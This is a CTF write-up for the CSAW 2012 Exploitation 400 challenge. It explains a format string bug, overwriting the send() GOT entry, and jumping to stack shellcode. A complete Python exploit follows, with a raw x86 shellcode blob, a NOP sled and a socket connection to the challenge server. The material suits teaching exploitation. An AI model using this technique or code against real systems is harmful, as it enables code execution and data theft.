CSAW CTF - Exploitation 400

Monday, October 01, 2012 » airmack, csaw, ctf, luks, robbje, spq

Exploitation 400 challenge of CSAW CTF

Description

The file challenge2 implements an accept-fork server, which lets the user input a string and after a countdown outputs a nice volcano with a sign containing the user-supplied message. This smells like a classic format string vulnerability. Indeed, submitting %x as message gives 0, rather than %x. The textbook way of exploiting these vulnerabilities is to overwrite a GOT entry of a function, which will be called later in the code. Usually one can use something like close() or exit(). However, the supplied string gets mangled through snprintf right away, which lets us use send() and therefore getting rid of that annoying ;-) countdown:

1
2
$ objdump -R challenge2 | grep send
0804b068 R_386_JUMP_SLOT   send

Since we can only write two bytes at a time, we need to write to addresses 0x0804b068 and 0x0804b06a. There is no address space randomization mitigating exploitation and therefore, we can just try to jump to our shellcode on the stack. %.xu will produce x zeros, which count for the value we can write using %n. Using a probing string like "%x" times 20 helps to find the addresses we want to write to on the stack. We can access them directly using $pos$n. We can add and substract an offset, respectively, in order to easily adjust the address to jump to. The shellcode is a variation of the code used in Exploitation 300. Instead of taking a filedescriptor number residing in memory, it loops over increasing descriptor numbers and writes to all of them. The result ist the flag key{What_a_simple_filter_that_was}. The flag points out that there is a function filtering the provided string for certain occurences of shellcode. Like anti-virus this does not really work. For example one can alter the shellcode in a way that the filter does not match anymore.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python

import socket

host = "128.238.66.213"
port = 23456

offset = 0
got_send = "\x68\xb0\x04\x08\x6a\xb0\x04\x08"
fmtstring = "%." + str(45368+offset) + "u%5$n%." + str(22212-offset) + "u%6$n"
shellcode = "\xeb\x39\x5e\x31\xc0\x88\x46\x03\x31\xd2\x31\xc9\x89\xf3\x31\xc0\xb0\x05\x90\xcd\x80\x90\x89\xc3\x89\xf1\x31\xd2\xb2\x40\x31\xc0\xb0\x03\x90\xcd\x80\x90\x31\xdb\xb3\x01\x31\xc0\xb0\x04\x89\xf1\x31\xd2\xb2\x40\x90\xcd\x80\x90\x43\xeb\xef\xe8\xc2\xff\xff\xff\x6b\x65\x79\x4e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
payload = got_send + fmtstring + "\x90"*(0x100 - len(got_send) - len(fmtstring) - len(shellcode)) + shellcode
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
print sock.recv(128)
print sock.recv(128)
sock.sendall(payload+"\n")
print sock.recv(128)